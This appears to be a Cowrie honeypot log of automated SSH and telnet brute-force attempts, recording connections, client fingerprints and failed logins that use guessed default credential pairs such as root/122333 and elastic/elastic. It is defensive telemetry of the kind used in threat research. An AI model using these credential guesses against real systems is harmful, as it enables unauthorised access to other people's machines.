{"eventid":"cowrie.login.failed","username":"root","password":"Yy@123456","message":"login attempt [root/Yy@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:04.106630Z","src_ip":"160.251.185.39","session":"03c70694907f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:05.280313Z","src_ip":"160.251.185.39","session":"03c70694907f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.581021070480347,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:09.191715Z","src_ip":"109.187.108.86","session":"114c53700a4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53114,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b8a11517fc3","protocol":"ssh","message":"New connection: 83.168.110.85:53114 (159.203.135.109:22) [session: 9b8a11517fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:10.623613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:10.633991Z","src_ip":"83.168.110.85","session":"9b8a11517fc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:10.755492Z","src_ip":"83.168.110.85","session":"9b8a11517fc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:11.123537Z","src_ip":"83.168.110.85","session":"9b8a11517fc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:12.261760Z","src_ip":"83.168.110.85","session":"9b8a11517fc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39952,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa1ca0f06b68","protocol":"ssh","message":"New connection: 83.168.110.85:39952 (159.203.135.109:22) [session: fa1ca0f06b68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:21.090208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:21.095228Z","src_ip":"83.168.110.85","session":"fa1ca0f06b68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:21.212781Z","src_ip":"83.168.110.85","session":"fa1ca0f06b68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:21.685224Z","src_ip":"83.168.110.85","session":"fa1ca0f06b68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:22.808281Z","src_ip":"83.168.110.85","session":"fa1ca0f06b68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51412,"dst_ip":"159.203.135.109","dst_port":22,"session":"58c62012b055","protocol":"ssh","message":"New connection: 83.168.110.85:51412 (159.203.135.109:22) [session: 58c62012b055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:31.542078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:31.546109Z","src_ip":"83.168.110.85","session":"58c62012b055","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:31.666776Z","src_ip":"83.168.110.85","session":"58c62012b055","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:32.031257Z","src_ip":"83.168.110.85","session":"58c62012b055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:33.154699Z","src_ip":"83.168.110.85","session":"58c62012b055","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39512,"dst_ip":"159.203.135.109","dst_port":22,"session":"7437abe3955f","protocol":"ssh","message":"New connection: 83.168.110.85:39512 (159.203.135.109:22) [session: 7437abe3955f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:42.026212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:42.030786Z","src_ip":"83.168.110.85","session":"7437abe3955f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:42.152859Z","src_ip":"83.168.110.85","session":"7437abe3955f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:42.520898Z","src_ip":"83.168.110.85","session":"7437abe3955f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:43.644405Z","src_ip":"83.168.110.85","session":"7437abe3955f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55126,"dst_ip":"159.203.135.109","dst_port":22,"session":"e281334288c1","protocol":"ssh","message":"New connection: 83.168.110.85:55126 (159.203.135.109:22) [session: e281334288c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:52.439251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:52.444973Z","src_ip":"83.168.110.85","session":"e281334288c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:52.566249Z","src_ip":"83.168.110.85","session":"e281334288c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:52.928247Z","src_ip":"83.168.110.85","session":"e281334288c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:54.051875Z","src_ip":"83.168.110.85","session":"e281334288c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":38686,"dst_ip":"10.17.0.5","dst_port":22,"session":"1311ab049a64","protocol":"ssh","message":"New connection: 103.149.170.125:38686 (10.17.0.5:22) [session: 1311ab049a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:57.316369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:57.321764Z","src_ip":"103.149.170.125","session":"1311ab049a64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:57.582050Z","src_ip":"103.149.170.125","session":"1311ab049a64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"122333","message":"login attempt [root/122333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:58.362540Z","src_ip":"103.149.170.125","session":"1311ab049a64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:59.628572Z","src_ip":"103.149.170.125","session":"1311ab049a64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":44828,"dst_ip":"159.203.135.109","dst_port":22,"session":"89c39826f41d","protocol":"ssh","message":"New connection: 83.168.110.85:44828 (159.203.135.109:22) [session: 89c39826f41d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:03.122952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:03.129301Z","src_ip":"83.168.110.85","session":"89c39826f41d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:03.250399Z","src_ip":"83.168.110.85","session":"89c39826f41d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:03.616197Z","src_ip":"83.168.110.85","session":"89c39826f41d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:04.740331Z","src_ip":"83.168.110.85","session":"89c39826f41d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57568,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c89c0e1959a","protocol":"ssh","message":"New connection: 83.168.110.85:57568 (159.203.135.109:22) [session: 3c89c0e1959a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:13.543699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:13.548363Z","src_ip":"83.168.110.85","session":"3c89c0e1959a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:13.669602Z","src_ip":"83.168.110.85","session":"3c89c0e1959a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:14.042883Z","src_ip":"83.168.110.85","session":"3c89c0e1959a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:15.170879Z","src_ip":"83.168.110.85","session":"3c89c0e1959a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":34976,"dst_ip":"10.17.0.5","dst_port":22,"session":"49af2bcb507e","protocol":"ssh","message":"New connection: 109.237.96.109:34976 (10.17.0.5:22) [session: 49af2bcb507e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:19.829136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:19.834414Z","src_ip":"109.237.96.109","session":"49af2bcb507e","protocol":"ssh"}
